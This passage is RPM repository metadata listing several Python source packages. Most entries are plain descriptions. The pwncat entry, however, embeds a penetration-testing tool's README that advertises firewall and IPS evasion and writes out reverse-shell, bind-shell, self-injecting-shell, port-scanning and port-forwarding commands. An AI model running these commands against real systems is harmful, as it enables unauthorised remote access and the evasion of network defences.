  ['Cls','func','name','name1','name2']
  ```


  +   [Importing * From a Package. Python documentation](https://docs.python.org/3/tutorial/modules.html#importing-from-a-package)
  +   [Can someone explain __all__ in Python? Stackoverflow](https://stackoverflow.com/questions/44834/can-someone-explain-all-in-python)

  <p align="center">
      <a href="https://readme42.com/">readme42.com</a>
  </p>


pkgId: b8486de50b6dcc07de708f062c9b9efe207f61e50a14fff5fdfa5e280bca2d56
name: python-publication
arch: src
version: 0.0.3
epoch: 0
release: 1
url: https://github.com/glyph/publication
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c30da787-df52-456f-902e-9cf959fe8194
location_href: 00010221-python-publication/python-publication-0.0.3-1.src.rpm
checksum_type: sha256
summary:
  Publication helps you maintain public-api-friendly modules by preventing unintentional access to private implementation details via introspection.

description:
  Setting expectations around what APIs you can rely on in a Python
  library is very difficult.
  Publication makes it easy.


pkgId: 6afbae2b9ec7e3b20dfda985244314ea5d2e7bfa2c69b170ff022622ca9372b0
name: python-publicsuffix2
arch: src
version: 2.20191221
epoch: 0
release: 1
url: https://github.com/nexb/python-publicsuffix2
rpm_license: MIT and MPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-24282457-19c5-4d67-b9c0-1208ebeea402
location_href: 00010706-python-publicsuffix2/python-publicsuffix2-2.20191221-1.src.rpm
checksum_type: sha256
summary:
  Get a public suffix for a domain name using the Public Suffix List. Forked from and using the same API as the publicsuffix package.

description:
  This module allows you to get the public suffix, as well as the registrable domain,
  of a domain name using the Public Suffix List from http://publicsuffix.org
  A public suffix is a domain suffix under which you can register domain
  names, or under which the suffix owner does not control the subdomains.
  Some examples of public suffixes in the former example are ".com",
  ".co.uk" and "pvt.k12.wy.us"; examples of the latter case are "github.io" and
  "blogspot.com".  The public suffix is sometimes referred to as the effective
  or extended TLD (eTLD).
  Accurately knowing the public suffix of a domain is useful when handling
  web browser cookies, highlighting the most important part of a domain name
  in a user interface or sorting URLs by web site. It is also used in a wide range
  of research and applications that leverages Domain Name System (DNS) data.
  This module builds the public suffix list as a Trie structure, making it more efficient
  than other string-based modules available for the same purpose. It can be used
  effectively in large-scale distributed environments, such as PySpark.
  This Python module includes with a copy of the Public Suffix List (PSL) so that it is
  usable out of the box. Newer versions try to provide reasonably fresh copies of
  this list. It also includes a convenience method to fetch the latest list. The PSL does
  change regularly.
  The code is a fork of the publicsuffix package and includes the same base API. In
  addition, it contains a few variants useful for certain use cases, such as the option to
  ignore wildcards or return only the extended TLD (eTLD). You just need to import publicsuffix2 instead.
  The public suffix list is now provided in UTF-8 format. To correctly process
  IDNA-encoded domains, either the query or the list must be converted. By default, the
  module converts the PSL. If your use case includes UTF-8 domains, e.g., '食狮.com.cn',
  you'll need to set the IDNA-encoding flag to False on instantiation (see examples below).
  Failure to use the correct encoding for your use case can lead to incorrect results for
  domains that utilize unicode characters.
  The code is MIT-licensed and the publicsuffix data list is MPL-2.0-licensed.


pkgId: 731be9ae852674727643b076209c9c3b3a95cba42cac78667ef4f3365b16c784
name: python-pudb
arch: src
version: 2022.1.3
epoch: 0
release: 1
summary: A full-screen, console-based Python debugger
url: https://documen.tician.de/pudb/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c07f9724-971f-4258-bc3b-14abfaaf21c0
location_href: 00004612-python-pudb/python-pudb-2022.1.3-1.src.rpm
checksum_type: sha256
description:
  Its goal is to provide all the niceties of modern GUI-based debuggers in a
  more lightweight and keyboard-friendly package. PuDB allows you to debug code
  right where you write and test it--in a terminal.
  Here are some screenshots:
  * Light theme
  * Dark theme
  You may watch screencasts too:
  * `Meet Pudb, a debugger for Python code (2020) <https://www.youtube.com/watch?v=bJYkCWPs_UU>`_
  * `PuDB Intro Screencast (2009) <http://vimeo.com/5255125>`_


pkgId: 6eea26fb3221ef4601164d31e07b8ff6a284167fb468f89375d5aa03213648b3
name: python-pulsectl
arch: src
version: 22.3.2
epoch: 0
release: 1
summary: Python high-level interface and ctypes-based bindings for PulseAudio (libpulse)
url: http://github.com/mk-fg/python-pulse-control
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c326396-5016-4217-aea9-82c3f3b6475b
location_href: 00004613-python-pulsectl/python-pulsectl-22.3.2-1.src.rpm
checksum_type: sha256
description:
  Python (3.x and 2.x) blocking high-level interface and ctypes-based bindings
  for PulseAudio_ (libpulse), to use in a simple synchronous code.
  Wrappers are mostly for mixer-like controls and introspection-related operations,
  as opposed to e.g. submitting sound samples to play and player-like client.
  For async version to use with asyncio_, see `pulsectl-asyncio`_ project instead.
  Originally forked from pulsemixer_ project, which had this code bundled.
  |


pkgId: 7c6396f11361f0f47ed83afd5ffae823c80f027151fc54ce7e1f83692628c650
name: python-pure-sasl
arch: src
version: 0.6.2
epoch: 0
release: 1
summary: Pure Python client SASL implementation
url: http://github.com/thobbs/pure-sasl
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-95a22ea7-2e96-409f-91a3-10cb1b9cc757
location_href: 00009758-python-pure-sasl/python-pure-sasl-0.6.2-1.src.rpm
checksum_type: sha256
description:
  This package provides a reasonably high-level SASL client written
  in pure Python.  New mechanisms may be integrated easily, but by default,
  support for PLAIN, ANONYMOUS, EXTERNAL, CRAM-MD5, DIGEST-MD5, and GSSAPI are
  provided.


pkgId: 01c7f901d8badd197680e6afb6c36e4fa6152c0bb1c440fca2202001dbff7562
name: python-puremagic
arch: src
version: 1.15
epoch: 0
release: 1
summary: Pure python implementation of magic file detection
url: https://github.com/cdgriffith/puremagic
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0e93a7bf-7a02-4879-a6b8-ea79640238e8
location_href: 00012402-python-puremagic/python-puremagic-1.15-1.src.rpm
checksum_type: sha256
description:
  puremagic is a pure python module that will identify a file based off
  it's magic numbers.
  |CoverageStatus| |License| |PyPi|
  It is designed to be minimalistic and inherently cross platform
  compatible. It is also designed to be a stand in for python-magic, it
  incorporates the functions from\_file(filename[, mime]) and
  from\_string(string[, mime]) however the magic\_file() and
  magic\_string() are more powerful and will also display confidence and
  duplicate matches.
  It does NOT try to match files off non-magic string. In other words it
  will not search for a string within a certain window of bytes like
  others might.
  Advantages over using a wrapper for 'file' or 'libmagic':
  -  Faster
  -  Lightweight
  -  Cross platform compatible
  -  No dependencies
  Disadvantages:
  -  Does not have as many file types
  -  No multilingual comments
  -  Duplications due to small or reused magic numbers
  (Help fix the first two disadvantages by contributing!)
  Compatibility
  ~~~~~~~~~~~~~
  -  Python 3.7+
  -  Pypy
  Using travis-ci to run continuous integration tests on listed platforms.


pkgId: a49312be344f00458923040b3d15e941eff5be3b4f603d888adf51ad4794363e
name: python-pvc
arch: src
version: 0.3.0
epoch: 0
release: 1
summary: Python vSphere Client with a dialog(1) interface
url: https://github.com/dnaeon/pvc
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-45dd1b39-6401-413c-aa10-883e9716ba66
location_href: 00004616-python-pvc/python-pvc-0.3.0-1.src.rpm
checksum_type: sha256
description:
  PVC is an interactive text-mode VMware vSphere Client with a
  `dialog(1)`_ interface for GNU/Linux systems built on top of the
  `pyVmomi`_ VMware vSphere API Python bindings.
  Using PVC allows you to quickly navigate in your VMware vSphere
  environment and perform common tasks against various VMware vSphere
  Managed Entities.
  PVC is Open Source and licensed under the `BSD License`_.


pkgId: 8049e4cd96f6eb81627f650050c8e2e630158ec9bfb05dc3635cc29d96f99b06
name: python-pwlf
arch: src
version: 2.2.1
epoch: 0
release: 1
summary: fit piecewise linear functions to data
url: https://github.com/cjekel/piecewise_linear_fit_py
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0b3504a6-9bbe-4a5d-842c-3f2f3b368d7e
location_href: 00010235-python-pwlf/python-pwlf-2.2.1-1.src.rpm
checksum_type: sha256
description:
  A library for fitting continuous piecewise linear functions to data.
  Just specify the number of line segments you desire and provide the
  data.
  |Downloads a month| |pwlf ci| |codecov| |PyPI version| |Conda|
  Check out the
  `documentation <https://jekel.me/piecewise_linear_fit_py>`__!
  Read the `blog
  post <http://jekel.me/2017/Fit-a-piecewise-linear-function-to-data/>`__.
     Example of a continuous piecewise linear fit to data.
     Example of a continuous piecewise linear fit to a sine wave.
  Now you can perform segmented constant fitting and piecewise
  polynomials! |Example of multiple degree fits to a sine wave.|


pkgId: 720d786c34f5f9deddaed4bd23d6a86779dd086a3809a9caaf6a4db200ab1791
name: python-pwncat
arch: src
version: 0.1.2
epoch: 0
release: 1
url: https://pwncat.org/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ddd87397-bb28-42d3-b3ca-94160cc73a35
location_href: 00004617-python-pwncat/python-pwncat-0.1.2-1.src.rpm
checksum_type: sha256
summary:
  Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its  fully scriptable with Python (PSE).

description:
  <center><img alt="pwncat banner" title="pwncat" src="art/banner-1.png" style=""/></center>

  [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest)
  [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building)
  > &nbsp;
  > #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). - [docs.pwncat.org](https://docs.pwncat.org)
  > &nbsp;
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse:collapse; border:none;">
   <thead>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Code Style</td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Integration Tests <sup><small>[2]</small></sup></td>
    </tr>
   </thead>
   <tbody>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th>Styler</th>
         <th>Status</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <td><a href="https://github.com/psf/black">Black</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=black"><img src="https://github.com/cytopia/pwncat/workflows/black/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/python/mypy">mypy</a> <sup><small>[1]</small></sup></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mypy"><img src="https://github.com/cytopia/pwncat/workflows/mypy/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pycodestyle">pycodestyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pycode"><img src="https://github.com/cytopia/pwncat/workflows/pycode/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pydocstyle">pydocstyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pydoc"><img src="https://github.com/cytopia/pwncat/workflows/pydoc/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pylint">pylint</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pylint"><img src="https://github.com/cytopia/pwncat/workflows/pylint/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th><sub>Python</sub><sup>OS</sup></th>
         <th>Linux</th>
         <th>MacOS</th>
         <th>Windows</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <th>2.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-2.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-2.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-2.7"><img src="https://github.com/cytopia/pwncat/workflows/win-2.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.5</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.5"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.5"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.5"><img src="https://github.com/cytopia/pwncat/workflows/win-3.5/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.6</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.6"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.6"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.6"><img src="https://github.com/cytopia/pwncat/workflows/win-3.6/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.7"><img src="https://github.com/cytopia/pwncat/workflows/win-3.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.8</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.8"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.8"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.8"><img src="https://github.com/cytopia/pwncat/workflows/win-3.8/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy2</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py2"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py2"><img src="https://github.com/cytopia/pwncat/workflows/mac-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py2"><img src="https://github.com/cytopia/pwncat/workflows/win-py2/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy3</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py3"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py3"><img src="https://github.com/cytopia/pwncat/workflows/mac-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py3"><img src="https://github.com/cytopia/pwncat/workflows/win-py3/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
    </tr>
   </tbody>
  </table>
  > <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 94.00%)</strong></sup><br/>
  > <sup>[2] <strong>Failing builds do not indicate broken functionality.</strong> Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): <a href="https://github.com/actions/virtual-environments/issues/736">#735</a>, <a href="https://github.com/actions/virtual-environments/issues/841">#841</a></sup><br/>
  > <sup></sup>

  Ever accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> on your reverse shell and it was gone for good?
  Ever waited forever for your client to connect back to you, because the Firewall didn't let it out?
  Ever had a connection loss because an IPS closed suspicious ports?
  Ever were in need of a quick port forwarding?<br/>
  > **This one got you covered.**
  Apart from that the current features of `nc`, `ncat` or `socat` just didn't feed my needs and I also wanted to have a single
  tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with.
  (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

  | Pwncat docs     | Link |
  |:----------------|:-----|
  | Official documentation | [https://docs.pwncat.org](https://docs.pwncat.org) |
  | Official website | [https://pwncat.org](https://pwncat.org) |
  | API documentation | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) |
  | Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) |

  Current version is: **0.1.2**

  | [Pip](https://pypi.org/project/pwncat/) |
  |:-:|
  | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) |
  | `pip install pwncat` |

  | **[MacOS][mac_lnk]**         | **[Arch Linux][arch_lnk]**   | **[BlackArch][barch_lnk]**         | **[CentOS][centos_lnk]**<sup>[1]</sup>       |
  |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:|
  | [![mac_img]][mac_lnk]        | [![arch_img]][arch_lnk]      | [![barch_img]][barch_lnk]          | [![centos_img]][centos_lnk]                  |
  | `brew install pwncat`        | `yay -S pwncat`              | `pacman -S pwncat`                 | `yum install pwncat`                         |
  | **[Fedora][fedora_lnk]**     | **[Kali Linux][kali_lnk]**   | **[NixOS][nix_lnk]<sup>[2]</sup>** | **[Oracle Linux][oracle_lnk]<sup>[1]</sup>** |
  | [![fedora_img]][fedora_lnk]  | [![kali_img]][kali_lnk]      | [![nix_img]][nix_lnk]              | [![oracle_img]][oracle_lnk]                  |
  |  `dnf install pwncat`        | `apt install pwncat`         | `nixos.pwncat`                     | `yum install pwncat`                         |
  | **[Pentoo][pentoo_lnk]**     |  **[Parrot OS][parrot_lnk]** |
  | [![pentoo_img]][pentoo_lnk]  | [![parrot_img]][parrot_lnk]  |
  |  `net-analyzer/pwncat`       | `apt install pwncat`         |
  > <sup>[1]: Epel repository</sup><br/>
  > <sup>[2]: Unstable</sup>
  [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default
  [mac_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png
  [arch_lnk]: https://aur.archlinux.org/packages/pwncat/
  [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png
  [barch_lnk]: https://www.blackarch.org/tools.html
  [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png
  [centos_lnk]: https://pkgs.org/download/pwncat
  [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png
  [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat
  [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png
  [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat
  [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png
  [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat
  [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png
  [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html
  [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png
  [parrot_lnk]: https://repology.org/project/pwncat/versions
  [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png
  [pentoo_lnk]: https://repology.org/project/pwncat/versions
  [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png

  This is just a quick get-you-started overview. For more advanced techniques see **[:computer: Usage](#computer-usage)** or **[:bulb: Examples](#bulb-examples)**.

  <table>
   <tr>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s">unbreakable reverse shells - how to spawn</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img src="docs/img/video01.png" /></a>
    </td>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2">unbreakable reverse shells - multiple shells</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img src="docs/img/video02.png" /></a>
    </td>
   </tr>
  </table>

  ```bash

  curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

  echo "<BASE64 STRING>" | base64 -d > pwncat
  chmod +x pwncat
  ```

  ```bash




  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  > <sup>[1] [Read in more detail about self-injection](#self-injecting-reverse-shell)

  ```bash

  pwncat -l -e '/bin/bash' 8080 -k
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
  ```

  ```bash

  pwncat -z 10.0.0.1 80,443,8080
  pwncat -z 10.0.0.1 1-65535
  pwncat -z 10.0.0.1 1+1023

  pwncat -z 10.0.0.1 80,443,8080 -u
  pwncat -z 10.0.0.1 1-65535 -u
  pwncat -z 10.0.0.1 1+1023 -u

  pwncat -z 10.0.0.1 1-65535 -4
  pwncat -z 10.0.0.1 1-65535 -6 -u

  pwncat -z 10.0.0.1 1-65535 --banner
  ```

  ```bash


  pwncat -L 0.0.0.0:5000 everythingcli.org 3306
  ```
  ```bash

  pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
  ```

  ```bash


  pwncat -R 10.0.0.1:4444 everythingcli.org 3306
  ```
  ```bash

  pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
  ```
  > <sub>[SSH Tunnelling for fun and profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)</sub><br/>
  > <sub>[`pwncat` example: Port forwarding magic](#port-forwarding-magic)<sub>


  `pwncat` has many features, below is only a list of outstanding characteristics.
  | Feature        | Description |
  |----------------|-------------|
  | [PSE](pse)        | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive |
  | port scanning  | TCP und UDP port scanning with basic version detection support |
  | Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically |
  | Bind shell        | Create bind shells |
  | Reverse shell     | Create reverse shells |
  | Port Forward      | Local and remote port forward (Proxy server/client) |
  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | Reverse shell can reconnect if you accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Detect Egress     | Scan and report open egress ports on the target (port hopping) |
  | Evade FW          | Evade egress firewalls by round-robin outgoing ports (port hopping) |
  | Evade IPS         | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |
  | UDP rev shell     | Try this with the traditional `netcat` |
  | Stateful UDP      | Stateful connect phase for UDP client mode |
  | TCP / UDP         | Full TCP and UDP support |
  | IPv4 / IPv6       | Dual or single stack IPv4 and IPv6 support |
  | Python 2+3        | Works with Python 2, Python 3, pypy2 and pypy3 |
  | Cross OS          | Work on Linux, MacOS and Windows as long as Python is available |
  | Compatability     | Use the `netcat`, `ncat` or `socat` as a client or server together with `pwncat` |
  | Portable          | Single file which only uses core packages - no external dependencies required. |

  |                     | pwncat   | netcat | ncat  | socat |
  |---------------------|----------|--------|-------|-------|
  | Scripting engine    | ✔ Python | :x:    | ✔ Lua | :x:   |
  |                     |          |        |       |       |
  | IP ToS              | ✔        | ✔      | :x:   | ✔     |
  | IPv4                | ✔        | ✔      | ✔     | ✔     |
  | IPv6                | ✔        | ✔      | ✔     | ✔     |
  | Unix domain sockets | :x:      | ✔      | ✔     | ✔     |
  | Linux vsock         | :x:      | :x:    | ✔     | :x:   |
  | Socket source bind  | ✔        | ✔      | ✔     | ✔     |
  |                     |          |        |       |       |
  | TCP                 | ✔        | ✔      | ✔     | ✔     |
  | UDP                 | ✔        | ✔      | ✔     | ✔     |
  | SCTP                | :x:      | :x:    | ✔     | ✔     |
  | SSL                 | :x:      | :x:    | ✔     | ✔     |
  | HTTP                | ✔        | :x:    | :x:   | :x:   |
  | HTTPS               | *        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Telnet negotiation  | :x:      | ✔      | ✔     | :x:   |
  | Proxy support       | :x:      | ✔      | ✔     | ✔     |
  | Local port forward  | ✔        | :x:    | :x:   | ✔     |
  | Remote port forward | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Inbound port scan   | ✔        | ✔      | ✔     | :x:   |
  | Outbound port scan  | ✔        | :x:    | :x:   | :x:   |
  | Version detection   | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Chat                | ✔        | ✔      | ✔     | ✔     |
  | Command execution   | ✔        | ✔      | ✔     | ✔     |
  | Hex dump            | *        | ✔      | ✔     | ✔     |
  | Broker              | :x:      | :x:    | ✔     | :x:   |
  | Simultaneous conns  | :x:      | :x:    | ✔     | ✔     |
  | Allow/deny          | :x:      | :x:    | ✔     | ✔     |
  | Re-accept           | ✔        | ✔      | ✔     | ✔     |
  | Self-injecting      | ✔        | :x:    | :x:   | :x:   |
  | UDP reverse shell   | ✔        | :x:    | :x:   | :x:   |
  | Respawning client   | ✔        | :x:    | :x:   | :x:   |
  | Port hopping        | ✔        | :x:    | :x:   | :x:   |
  | Emergency shutdown  | ✔        | :x:    | :x:   | :x:   |
  > <sup>`*` Feature is currently under development.

  Like the original implementation of `netcat`, when using **TCP**, `pwncat`
  (in client and listen mode) will automatically quit, if the network connection has been terminated,
  properly or improperly.
  In case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed.
  1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open
  2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close
  You can emulate the `netcat` behaviour with `--no-shutdown` command line argument.
  Have a look at the following commands to better understand this behaviour:
  ```bash

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
  ```
  ```bash

  printf "GET / \n\n" | pwncat www.google.com 80
  ```
  ```bash


  pwncat -l 4444 > output.txt
  pwncat localhost 4444 < input.txt




  pwncat -l 4444 --no-shutdown > output.txt
  pwncat localhost 4444 --no-shutdown < input.txt
  ```
  Be advised that it is not reliable to send files via UDP
  ```bash




  pwncat -u -l 4444 > output.txt
  pwncat -u localhost 4444 < input.txt
  ```
  There are many ways to alter this default behaviour. Have a look at the [usage](#computer-usage)
  section for more advanced settings.


  | Behaviour      | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |
  |----------------|---------------|---------------|-----------------|
  | Quit (SIGINT)  | <kbd>Ctrl</kbd>+<kbd>c</kbd>  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>\\</kbd> | ? | ? |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>4</kbd>  | ? | ? |
  | Quit STDIN<sup>[1]</sup> | <kbd>Ctrl</kbd>+<kbd>d</kbd>  | <kbd>Ctrl</kbd>+<kbd>d</kbd> | <kbd>Ctrl</kbd>+<kbd>z</kbd> and <kbd>Ctrl</kbd>+<kbd>Enter</kbd> |
  | Send (NL)      | <kbd>Ctrl</kbd>+<kbd>j</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Ctrl</kbd>+<kbd>m</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Enter</kbd>              | <kbd>Enter</kbd> | <kbd>Enter</kbd> |
  > <sup>[1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.</sup>
